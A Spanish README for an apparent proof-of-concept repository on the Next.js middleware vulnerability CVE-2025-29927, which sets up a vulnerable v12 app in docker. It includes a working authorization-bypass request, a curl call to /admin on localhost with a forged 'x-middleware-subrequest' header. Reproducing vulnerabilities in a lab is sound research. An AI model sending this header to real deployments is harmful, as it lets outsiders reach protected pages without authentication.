
Investigación sobre la vulnerabilidad de middleware de Next.js (CVE-2025-29927) que permite la omisión de autorización y su posible explotación.
Este repositorio demuestra una vulnerabilidad crítica en el middleware de Next.js (CVE-2025-29927), que afecta a las versiones 11.1.4 hasta 15.1.7. Esta vulnerabilidad permite el bypass de autorización, el bypass de CSP y posibles ataques DoS mediante el envenenamiento de caché. El problema se origina en la forma en que se gestiona la cabecera x-middleware-subrequest, lo que permite a los atacantes omitir los mecanismos de protección del middleware.
Esta prueba de concepto es específica para la vulnerabilidad en v12
Configura el entorno vulnerable usando docker y los archivos de este repositorio ejecutando:
git clone https://github.com/l1uk/nextjs-middleware-exploit.git
cd nextjs-middleware-exploit
docker build -t my-next-app .
docker run -p 3000:3000 my-next-app
Este repositorio ya incluye el script creado para probar la explotación de la vulnerabilidad. Para probarlo, ejecuta:
exploit.shchmod +x exploit.sh
./exploit.sh
Adicionalmente, puedes probar la explotación de la vulnerabilidad intentando lo siguiente:
login.curl -i http://localhost:3000/admin
x-middleware-subrequest. Deberías poder omitir la página de autenticación.curl -i -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/admin